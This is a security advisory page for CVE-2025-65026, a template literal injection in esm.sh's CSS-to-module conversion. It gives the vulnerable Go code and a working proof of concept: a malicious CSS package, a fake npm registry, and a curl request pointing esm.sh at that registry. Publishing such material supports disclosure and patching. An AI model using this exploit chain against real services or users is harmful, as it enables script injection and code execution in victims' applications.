ghsa-hcpf-qv9m-vfgp
Vulnerability from github
Summary
The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details
File: server/router.go
Lines: 1112-1119
```go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) }
buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
if bytes.ContainsRune(css, '`') {
// If backtick exists: JSON encode (SAFE)
buf.WriteString("stylesheet.replaceSync(`")
buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
buf.WriteString(");\n")
} else {
// If no backtick: Direct insertion (VULNERABLE!)
buf.WriteString("stylesheet.replaceSync(`")
buf.Write(css) // ← CSS inserted into template literal without sanitization!
buf.WriteString("`);\n")
}
buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf
}
``
When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping${...}expressions.
Template literals in JavaScript evaluate expressions within${...}`, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar)
```python import tarfile import io import json from datetime import datetime
Malicious CSS with template literal injection
evil_css = b""" body { background-color: #ffffff; color: #333333; }
.container { max-width: 1200px; margin: 0 auto; }
/ js payload / ${alert(1)}
/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """
files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(),
# Malicious CSS file
"package/poc.css": evil_css,
}
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz") ```
Step 2. Run Fake Registry Server
```python
fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(name)
MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })
@app.route('//-/') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if name == 'main': app.run(host='0.0.0.0', port=9999) ```
bash
python3 fake-npm-registry.py
Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)
Step 3. Request Malicious Package with X-Npmrc Header (File Upload)
bash
curl "http://localhost:8080/test-tarslip@1.0.0" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Cross-site Script (alert(1))
```html
CSS Injection Victim Page // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles);```
in esm.sh Playground
Impact
Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20251118065157-87d2f6497574"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65026"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T20:31:55Z",
"nvd_published_at": "2025-11-19T18:15:50Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go` \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n css, err := os.ReadFile(filename)\n if err != nil {\n return rex.Status(500, err.Error())\n }\n \n buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n \n if bytes.ContainsRune(css, \u0027`\u0027) {\n // If backtick exists: JSON encode (SAFE)\n buf.WriteString(\"stylesheet.replaceSync(`\")\n buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n buf.WriteString(\");\\n\")\n } else {\n // If no backtick: Direct insertion (VULNERABLE!)\n buf.WriteString(\"stylesheet.replaceSync(`\")\n buf.Write(css) // \u2190 CSS inserted into template literal without sanitization!\n buf.WriteString(\"`);\\n\")\n }\n \n buf.WriteString(\"export default stylesheet;\\n\")\n ctx.SetHeader(\"Content-Type\", ctJavaScript)\n return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n background-color: #ffffff;\n color: #333333;\n}\n\n.container {\n max-width: 1200px;\n margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n margin-top: 20px;\n padding: 10px;\n}\n\"\"\"\n\nfiles = {\n \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n \"package/package.json\": json.dumps({\n \"name\": \"test-css-injection\",\n \"version\": \"1.0.0\",\n \"description\": \"Test package for CSS injection\",\n \"main\": \"index.js\"\n }, indent=2).encode(),\n \n # Malicious CSS file\n \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n for name, content in files.items():\n info = tarfile.TarInfo(name=name)\n info.size = len(content)\n info.mode = 0o644\n info.mtime = int(datetime.now().timestamp())\n tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n return jsonify({\n \"name\": package,\n \"versions\": {\n \"1.0.0\": {\n \"name\": package,\n \"version\": \"1.0.0\",\n \"dist\": {\n \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n }\n }\n },\n \"dist-tags\": {\"latest\": \"1.0.0\"}\n })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n \u003cscript type=\"module\"\u003e\n // esm.sh import\n import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n \n console.log(\u0027Styles loaded:\u0027, styles);\n \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
"id": "GHSA-hcpf-qv9m-vfgp",
"modified": "2025-11-27T08:30:39Z",
"published": "2025-11-19T20:31:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.